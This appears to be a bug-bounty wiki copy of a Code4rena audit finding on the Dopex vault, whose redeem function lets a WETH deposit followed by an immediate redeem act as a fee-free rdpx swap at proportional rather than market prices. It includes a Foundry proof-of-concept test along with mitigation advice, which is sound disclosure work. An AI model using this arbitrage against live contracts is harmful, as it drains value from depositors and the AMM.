Skip to content
Business logic Audit finding Intermediate

The vault allows “free” swaps from WETH to RDPX

The vault's redeem function calculates the amount of rdpx returned using the proportion of rdpx collateral to total shares, not the current rdpx price. An attacker could deposit WETH and immediately redeem to obtain rdpx at a stale price, potentially profiting from arbitrage at the expense of other depositors and the AMM.

LokiThe5th Follow with Evo, 0xnev and 1 other

Originally disclosed on Code4rena

Submitted by LokiThe5th, also found by Evo, 0xnev, and volodya

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145-L175

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L227

The PerpetualAtlanticVaultLP allows users to deposit() WETH into the vault and receive shares in return. If a user calls redeem on the vault, they receive a proportional amount of WETH and rdpx in return for burning their shares.

This can be used as a way to swap from WETH to rdpx without needing to pay swap fees to the V2 Permissioned AMM that is being introduced in V2. Swapping in this way may allow users to receive rdpx at a discount.

PerpetualAtlanticVaultLP mints shares to a depositor by taking into account the current price of rdpx and using it to calculate the total underlying asset value. The root cause of the issue is that when calculating the amount of rdpx to return on redeem, the calculation does not use the current price, but uses: shares.mulDivDown(_rdpxCollateral, supply).

The practical effect being that of a swap of in proportions determined by the initial deposit price. This means that the vault itself may experience arbitrage, as the amount of rdpx returned is determined by it’s proportion in the vault at that moment, not by it’s current market value.

This has been evaluated to medium as the vault’s depositors lose this value and the AMM loses out on swap fees.

Proof of Concept

Assumptions:

  • there is rdpx in the PerpetualAtlanticVaultLP (i.e. puts have been settled)

The PoC should be copied into the perp-vault/Integration.t.sol file and then can be run with forge test --match-test testPoCMedium1 -vvv

The line where the PoC starts is clearly marked. The PoC shows how the amount of rdpx returned from deposit and the immediate redeem is not affected by changes to the price once a deposit has been made, but is affected by the amount of underlying rdpx.

This means that doing this type of “swap” may present arbitrage opportunities at the expense of depositors.

  function testPoCMedium1() external {
    // Setup starts here ----------------------------->
    setApprovals(address(1));
    setApprovals(address(2));
    setApprovals(address(3));

    mintWeth(5 ether, address(1));
    mintWeth(5 ether, address(2));
    mintWeth(25 ether, address(3));
    mintWeth(1 ether, address(4));

    /// The users deposit
    deposit(5 ether, address(1));
    deposit(5 ether, address(2));
    deposit(25 ether, address(3));

    // premium = 100 * 0.05 weth = 5 weth
    uint256 tokenId = purchase(100 ether, address(this)); // 0.015 gwei * 100 ether / 0.1 gwei = 15 ether collateral activated

    skip(86500); // expires epoch 1
    vault.updateFunding();
    vault.updateFundingPaymentPointer();
    uint256[] memory strikes = new uint256[](1);
    strikes[0] = 0.015 gwei;
    uint256 fundingAccrued = vault.calculateFunding(strikes);
    uint256[] memory tokenIds = new uint256[](1);
    tokenIds[0] = tokenId;

    // The market moves against `rdpx` and the puts are now in the money
    priceOracle.updateRdpxPrice(0.010 gwei);

    vm.startPrank(address(this), address(this));
    (uint256 ethAmount, uint256 rdpxAmount) = vault.settle(tokenIds);
    vm.stopPrank();

    /// ---------------- POC STARTS HERE -------------------------------------------------///
    // The user intending to swap deposits 1 WETH into the `VaultLP`
    vm.startPrank(address(4));
    weth.approve(address(vaultLp), 1 ether);
    uint256 userShares = vaultLp.deposit(1 ether, address(4));
    vm.stopPrank();

    // For the POC we get a quote at the current price of 0.010 gwei of WETH per rdpx

    console.log("Deposit swap from WETH to RDPX - Part 1");
    console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice());
    console.log("User gets:");
    uint256 userBalance = vaultLp.balanceOf(address(4));
    (uint256 wethUser, uint256 rdpxUser) = vaultLp.redeemPreview(userBalance);
    console.log("WETH: ", wethUser);
    console.log("rdpx: ", rdpxUser);

    console.log("");
    // For the POC we get another quote at the current price of 0.010 gwei of WETH per rdpx
    console.log("Deposit swap from WETH to RDPX - Part 2");
    priceOracle.updateRdpxPrice(0.020 gwei);
    console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice());
    console.log("User gets:");
    (uint256 wethUserPart2, uint256 rdpxUserPart2) = vaultLp.redeemPreview(userBalance);
    console.log("WETH: ", wethUserPart2);
    console.log("rdpx: ", rdpxUserPart2);

    // We assert that the user still gets the same amount of rdpx regardless of the price
    assertEq(rdpxUser, rdpxUserPart2);

    // We change the `_rdpxCollateral`
    mintRdpx(10 ether, address(vault));
    vm.startPrank(address(vault));
    rdpx.transfer(address(vaultLp), 10 ether);
    vaultLp.addRdpx(10 ether);
    vm.stopPrank();

    // Now we test that the amount of `rdpx` returned changes in response to more underlying `rdpx` received
    console.log("");
    console.log("Deposit swap from WETH to RDPX - Part 3");
    priceOracle.updateRdpxPrice(0.020 gwei);
    console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice());
    console.log("User gets:");
    (uint256 wethUserPart3, uint256 rdpxUserPart3) = vaultLp.redeemPreview(userBalance);
    console.log("WETH: ", wethUserPart3);
    console.log("rdpx: ", rdpxUserPart3);

    // We assert that we will receive more `rdpx` for the same amount of `WETH`
    assertGt(rdpxUserPart3, rdpxUserPart2);
    assertEq(wethUserPart3, wethUserPart2);
  }

Tools Used

Foundry

Recommended Mitigation Steps

When calling redeem, calculate the amount of rdpx the depositor should receive using up-to-date rdpxPriceInEth.

Consider disallowing immediate deposit and redeem calls through some mechanism.

psytama (Dopex) acknowledged


The original report as published on Code4rena, by LokiThe5th. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The redeem calculation uses the ratio of rdpx collateral to total shares instead of the current rdpx price.

Impact

The vault's depositors could lose value and the AMM could lose swap fees due to arbitrage.

What the attacker needed

Rdpx present in the vault; attacker has WETH

The fix

The redeem function should calculate the rdpx amount using the current rdpx price, and immediate deposit and redeem could be disallowed.

How it was found

  1. Deposit WETH into the vault to receive shares.
  2. Immediately call redeem to burn shares and receive WETH and rdpx.
  3. Observe that the rdpx amount does not change when the rdpx price changes.
  4. Observe that the rdpx amount increases when more rdpx is added to the vault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault lets people put in one token (WETH) and later take out a mix of WETH and another token (rdpx). The amount of rdpx you get back should depend on rdpx's current market price, but here it only depends on how much rdpx the vault holds compared to total shares. So someone can deposit and immediately withdraw to get rdpx cheaply if the price has moved, taking value from others.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by LokiThe5th

View all

9 more disclosed reports, best first.

More from Dopex

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.